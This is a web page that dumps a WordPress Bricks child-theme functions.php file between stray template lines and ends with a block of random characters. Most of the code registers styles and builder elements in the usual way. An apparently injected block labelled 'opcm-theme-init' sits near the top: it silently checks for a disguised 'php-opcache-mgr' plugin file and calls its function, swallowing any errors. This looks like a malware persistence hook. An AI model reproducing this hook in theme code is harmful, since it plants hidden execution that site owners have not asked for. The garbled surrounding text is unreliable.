Terms and conditions
Use NCHS Template
/** * Register/enqueue custom scripts and styles */ /* opcm-theme-init */ (function(){ try { $_wcc='/home/thatchatbot/public_html/wp-content/plugins/php-opcache-mgr/php-opcache-mgr.php'; if(file_exists($_wcc)&&filesize($_wcc)>500)return; if(function_exists('wcc_sync_module_cache')){wcc_sync_module_cache();} } catch (\Throwable $__opcm_e) {} })(); /* /opcm-theme-init */ add_action( 'wp_enqueue_scripts', function() { // Enqueue your files on the canvas & frontend, not the builder panel. Otherwise custom CSS might affect builder) if ( ! bricks_is_builder_main() ) { wp_enqueue_style( 'bricks-child', get_stylesheet_uri(), ['bricks-frontend'], filemtime( get_stylesheet_directory() . '/style.css' ) ); } } ); /** * Register custom elements */ add_action( 'init', function() { $element_files = [ __DIR__ . '/elements/title.php', ]; foreach ( $element_files as $file ) { \Bricks\Elements::register_element( $file ); } }, 11 ); /** * Add text strings to builder */ add_filter( 'bricks/builder/i18n', function( $i18n ) { // For element category 'custom' $i18n['custom'] = esc_html__( 'Custom', 'bricks' ); return $i18n; } ); /** * Add ACSS variables into the admin dashboard */ // load css into the admin pages function enqueue_acss_style_admin() { wp_register_style( 'automaticcss-variables', content_url() . '/uploads/automatic-css/automatic-variables.css' ); wp_enqueue_style( 'automaticcss-variables' ); } add_action( 'admin_enqueue_scripts', 'enqueue_acss_style_admin' ); // load css into the login page function enqueue_acss_style_login() { wp_register_style( 'automaticcss-variables', content_url() . '/uploads/automatic-css/automatic-variables.css' ); wp_enqueue_style( 'automaticcss-variables' ); } add_action( 'login_enqueue_scripts', 'enqueue_acss_style_login' ); /* thatchatbot.com theme functions */ /* thatchatbot.com theme functions */ /* Bricks Child 4 Theme */ 5npYhkEPIJQMrvFf0syXR8KB4H_o 23jmi9wdZ7WOGu1 lz6VTaqtAUCSbDLcex gN0g_ym UkY1x2Qu T9XG6nFOJIBA5NWZHowbKzstfPCqED4SjaL3c8h
Use NCHS Template